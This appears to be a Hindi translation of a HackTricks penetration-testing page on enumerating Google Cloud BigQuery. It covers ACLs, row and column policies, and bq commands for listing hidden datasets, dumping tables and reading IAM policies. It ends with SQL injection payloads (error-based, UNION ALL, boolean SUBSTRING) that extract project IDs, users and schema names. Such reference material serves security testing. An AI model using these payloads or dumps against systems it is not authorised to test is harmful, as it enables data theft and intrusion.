# GCP - Bigquery Enum {{#include ../../../banners/hacktricks-training.md}} ## Basic Information Google Cloud BigQuery एक **पूर्ण-प्रबंधित, सर्वर रहित उद्यम डेटा वेयरहाउस** है, जो **पेटाबाइट्स** के डेटा पर **विश्लेषण** की क्षमताएँ प्रदान करता है, इस प्रकार बड़े पैमाने पर डेटा सेट को कुशलता से संभालता है। एक प्लेटफ़ॉर्म के रूप में सेवा (PaaS) के रूप में, यह उपयोगकर्ताओं को डेटा प्रबंधन को सुविधाजनक बनाने के लिए बुनियादी ढाँचा और उपकरण प्रदान करता है बिना मैनुअल निगरानी की आवश्यकता के। यह **ANSI SQL** का उपयोग करके क्वेरी करने का समर्थन करता है। मुख्य वस्तुएँ **डेटासेट** हैं जिनमें **टेबल** होते हैं जो SQL **डेटा** को समाहित करते हैं। ### Encryption डिफ़ॉल्ट रूप से एक **Google-प्रबंधित एन्क्रिप्शन कुंजी** का उपयोग किया जाता है हालांकि एक **ग्राहक-प्रबंधित एन्क्रिप्शन कुंजी (CMEK)** को कॉन्फ़िगर करना संभव है। यह प्रत्येक डेटासेट और डेटासेट के भीतर प्रत्येक टेबल के लिए एन्क्रिप्शन कुंजी को निर्दिष्ट करना संभव है। ### Expiration यह **डेटासेट में एक समाप्ति समय** निर्दिष्ट करना संभव है ताकि इस डेटासेट में बनाई गई कोई भी नई टेबल **निर्धारित संख्या** के दिनों के बाद स्वचालित रूप से **हटाई** जाएगी। ### External Sources Bigquery अन्य Google सेवाओं के साथ गहराई से एकीकृत है। यह बकेट, pub/sub, google drive, RDS डेटाबेस से डेटा लोड करना संभव बनाता है... ### Dataset ACLs जब एक डेटासेट बनाया जाता है तो **ACLs संलग्न** किए जाते हैं ताकि इसके ऊपर पहुँच प्रदान की जा सके। डिफ़ॉल्ट रूप से इसे **स्वामी** विशेषाधिकार दिए जाते हैं उस **उपयोगकर्ता** को जिसने डेटासेट बनाया और फिर **स्वामी** को समूह **projectOwners** (परियोजना के मालिक), **लेखक** को समूह **projectWriters,** और **पाठक** को समूह **projectReaders**: ```bash bq show --format=prettyjson : ... "access": [ { "role": "WRITER", "specialGroup": "projectWriters" }, { "role": "OWNER", "specialGroup": "projectOwners" }, { "role": "OWNER", "userByEmail": "gcp-admin@hacktricks.xyz" }, { "role": "OWNER", "userByEmail": "support@hacktricks.xyz" }, { "role": "READER", "specialGroup": "projectReaders" } ], ... ``` ### Table Rows Control Access यह संभव है कि **एक प्रिंसिपल द्वारा तालिका के अंदर पहुंच योग्य पंक्तियों को नियंत्रित किया जाए** पंक्ति पहुंच नीतियों के साथ। ये तालिका के अंदर [**DDL**](https://cloud.google.com/bigquery/docs/reference/standard-sql/data-definition-language#create_row_access_policy_statement) का उपयोग करके परिभाषित की जाती हैं।\ पहुंच नीति एक फ़िल्टर को परिभाषित करती है और **केवल मिलती-जुलती पंक्तियाँ** उस फ़िल्टर के साथ **उपलब्ध** होंगी जो निर्दिष्ट प्रिंसिपलों द्वारा। ```sql # Create CREATE ROW ACCESS POLICY apac_filter ON project.dataset.my_table GRANT TO ('user:abc@example.com') FILTER USING (region = 'APAC'); # Update CREATE OR REPLACE ROW ACCESS POLICY CREATE ROW ACCESS POLICY sales_us_filter ON project.dataset.my_table GRANT TO ('user:john@example.com', 'group:sales-us@example.com', 'group:sales-managers@example.com') FILTER USING (region = 'US'); # Check the Post Exploitation tricks to see how to call this from the cli ``` ```bash # Enumerate row policies on a table bq ls --row_access_policies :. # Get row policies ``` ### कॉलम एक्सेस नियंत्रण
कॉलम स्तर पर डेटा एक्सेस को प्रतिबंधित करने के लिए: 1. **एक वर्गीकरण और नीति टैग परिभाषित करें**। अपने डेटा के लिए एक वर्गीकरण और नीति टैग बनाएं और प्रबंधित करें। [https://console.cloud.google.com/bigquery/policy-tags](https://console.cloud.google.com/bigquery/policy-tags) 2. वैकल्पिक: **नीति टैग में से एक या अधिक पर एक या अधिक प्रिंसिपल को डेटा कैटलॉग फाइन-ग्रेन रीडर भूमिका दें**। 3. **अपने BigQuery कॉलम को नीति टैग असाइन करें**। BigQuery में, उन कॉलमों पर नीति टैग असाइन करने के लिए स्कीमा एनोटेशन का उपयोग करें जहां आप एक्सेस को प्रतिबंधित करना चाहते हैं। 4. **वर्गीकरण पर एक्सेस नियंत्रण लागू करें**। एक्सेस नियंत्रण लागू करने से वर्गीकरण में सभी नीति टैग के लिए परिभाषित एक्सेस प्रतिबंध लागू होते हैं। 5. **नीति टैग पर एक्सेस प्रबंधित करें**। प्रत्येक नीति टैग तक पहुंच को प्रतिबंधित करने के लिए [पहचान और पहुंच प्रबंधन](https://cloud.google.com/iam) (IAM) नीतियों का उपयोग करें। नीति उस प्रत्येक कॉलम के लिए प्रभावी है जो नीति टैग से संबंधित है। जब एक उपयोगकर्ता क्वेरी समय पर कॉलम डेटा तक पहुंचने की कोशिश करता है, तो BigQuery **कॉलम नीति टैग और इसकी नीति की जांच करता है कि क्या उपयोगकर्ता डेटा तक पहुंचने के लिए अधिकृत है**। > [!TIP] > संक्षेप में, कुछ कॉलमों तक कुछ उपयोगकर्ताओं की पहुंच को प्रतिबंधित करने के लिए, आप **स्कीमा में कॉलम पर एक टैग जोड़ सकते हैं और उपयोगकर्ताओं की टैग तक पहुंच को प्रतिबंधित कर सकते हैं, टैग के वर्गीकरण पर एक्सेस नियंत्रण लागू करके**। वर्गीकरण पर एक्सेस नियंत्रण लागू करने के लिए सेवा को सक्षम करना आवश्यक है: ```bash gcloud services enable bigquerydatapolicy.googleapis.com ``` यह संभव है कि आप कॉलम के टैग देख सकें: ```bash bq show --schema :.
[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}] ``` ### गणना ```bash # Dataset info bq ls # List datasets bq ls -a # List all datasets (even hidden) bq ls : # List tables in a dataset bq show --format=prettyjson : # Get info about the dataset (like ACLs) # Tables info bq show --format=prettyjson :.
# Get table info bq show --schema :.
# Get schema of a table # Get entries from the table bq head .
bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000' bq extract .
"gs:///table*.csv" # Use the * so it can dump everything in different files # Insert data bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)' bq insert dataset.table /tmp/mydata.json # Get permissions bq get-iam-policy : # Get dataset IAM policy bq show --format=prettyjson : # Get dataset ACLs bq get-iam-policy :.
# Get table IAM policy bq ls --row_access_policies :.
# Get row policies # Taxonomies (Get the IDs from the shemas of the tables) gcloud data-catalog taxonomies describe --location= gcloud data-catalog taxonomies list --location #Find more gcloud data-catalog taxonomies get-iam-policy --location= # Get jobs executed bq ls --jobs=true --all=true bq show --location= show --format=prettyjson --job=true # Misc bq show --encryption_service_account # Get encryption service account ``` ### BigQuery SQL Injection अधिक जानकारी के लिए आप ब्लॉग पोस्ट देख सकते हैं: [https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac). यहाँ केवल कुछ विवरण दिए जा रहे हैं। **Comments**: - `select 1#from here it is not working` - `select 1/*between those it is not working*/` लेकिन केवल प्रारंभिक एक काम नहीं करेगा - `select 1--from here it is not working` **environment** के बारे में **information** प्राप्त करें जैसे: - वर्तमान उपयोगकर्ता: `select session_user()` - प्रोजेक्ट आईडी: `select @@project_id` पंक्तियों को जोड़ें: - सभी तालिका नाम: `string_agg(table_name, ', ')` **datasets**, **tables** और **column** नाम प्राप्त करें: - **Project** और **dataset** नाम: ```sql SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA ``` - **डेटासेट** के **सभी तालिकाओं** के **स्तंभ** और **तालिका** नाम: ```sql # SELECT table_name, column_name FROM ..INFORMATION_SCHEMA.COLUMNS SELECT table_name, column_name FROM ..INFORMATION_SCHEMA.COLUMNS ``` - **एक ही प्रोजेक्ट में अन्य डेटासेट:** ```sql # SELECT catalog_name, schema_name, FROM .INFORMATION_SCHEMA.SCHEMATA SELECT catalog_name, schema_name, NULL FROM .INFORMATION_SCHEMA.SCHEMATA ``` **SQL Injection प्रकार:** - त्रुटि आधारित - कास्टिंग: `select CAST(@@project_id AS INT64)` - त्रुटि आधारित - शून्य द्वारा विभाजन: `' OR if(1/(length((select('a')))-1)=1,true,false) OR '` - यूनियन आधारित (आपको bigquery में ALL का उपयोग करना होगा): `UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#` - बूलियन आधारित: `` ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# `` - संभावित समय आधारित - सार्वजनिक डेटासेट का उपयोग उदाहरण: `` SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000 `` **दस्तावेज़ीकरण:** - सभी फ़ंक्शन सूची: [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators) - स्क्रिप्टिंग कथन: [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting) ### विशेषाधिकार वृद्धि & पोस्ट एक्सप्लोइटेशन {{#ref}} ../gcp-privilege-escalation/gcp-bigquery-privesc.md {{#endref}} ### स्थिरता {{#ref}} ../gcp-persistence/gcp-bigquery-persistence.md {{#endref}} ## संदर्भ - [https://cloud.google.com/bigquery/docs/column-level-security-intro](https://cloud.google.com/bigquery/docs/column-level-security-intro) {{#include ../../../banners/hacktricks-training.md}}